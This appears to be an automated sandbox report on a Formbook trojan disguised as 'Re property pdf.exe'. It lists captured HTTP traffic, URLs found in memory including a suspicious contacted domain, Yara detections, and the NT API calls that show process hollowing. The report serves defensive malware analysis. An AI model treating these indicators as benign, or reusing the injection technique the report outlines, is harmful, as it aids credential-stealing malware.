2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Set-Cookie: _d_id=a674d5211e16a089760985ef782ea8; Path=/; HttpOnly; SameSite=LaxDate: Sat, 19 Oct 2024 10:58:21 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Sat, 19 Oct 2024 10:59:36 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Sat, 19 Oct 2024 10:59:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Sat, 19 Oct 2024 10:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Sat, 19 Oct 2024 10:59:44 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: Re property pdf.exe, 00000000.00000002.1790854732.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, hwOHPmqcegxcxb.exe, 00000007.00000002.2009081564.0000000002D97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: uGMCFMVqKoR.exe, 00000010.00000002.4215060092.00000000059B9000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.jsninja.net
Source: uGMCFMVqKoR.exe, 00000010.00000002.4215060092.00000000059B9000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.jsninja.net/a57a/
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Re property pdf.exe, 00000000.00000002.1794226232.0000000005664000.00000004.00000020.00020000.00000000.sdmp, Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Re property pdf.exe, 00000000.00000002.1794367191.0000000006EA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: uGMCFMVqKoR.exe, 00000010.00000002.4213103511.0000000003D8A000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.0000000005A8A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: uGMCFMVqKoR.exe, 00000010.00000002.4213103511.0000000004240000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.0000000005F40000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: uGMCFMVqKoR.exe, 00000010.00000002.4213103511.00000000043D2000.00000004.80000000.00040000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4215978821.00000000060D2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mothersalwaysright.com/9ect/?2BWDG=U/rZoA1baL0SL

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07724C88 NtUnmapViewOfSection,	0_2_07724C88
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07724C80 NtUnmapViewOfSection,	0_2_07724C80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0042C233 NtClose,	6_2_0042C233
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042B60 NtClose,LdrInitializeThunk,	6_2_01042B60
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_01042DF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_01042C70
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010435C0 NtCreateMutant,LdrInitializeThunk,	6_2_010435C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01044340 NtSetContextThread,	6_2_01044340
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01044650 NtSuspendThread,	6_2_01044650
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042B80 NtQueryInformationFile,	6_2_01042B80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042BA0 NtEnumerateValueKey,	6_2_01042BA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042BE0 NtQueryValueKey,	6_2_01042BE0
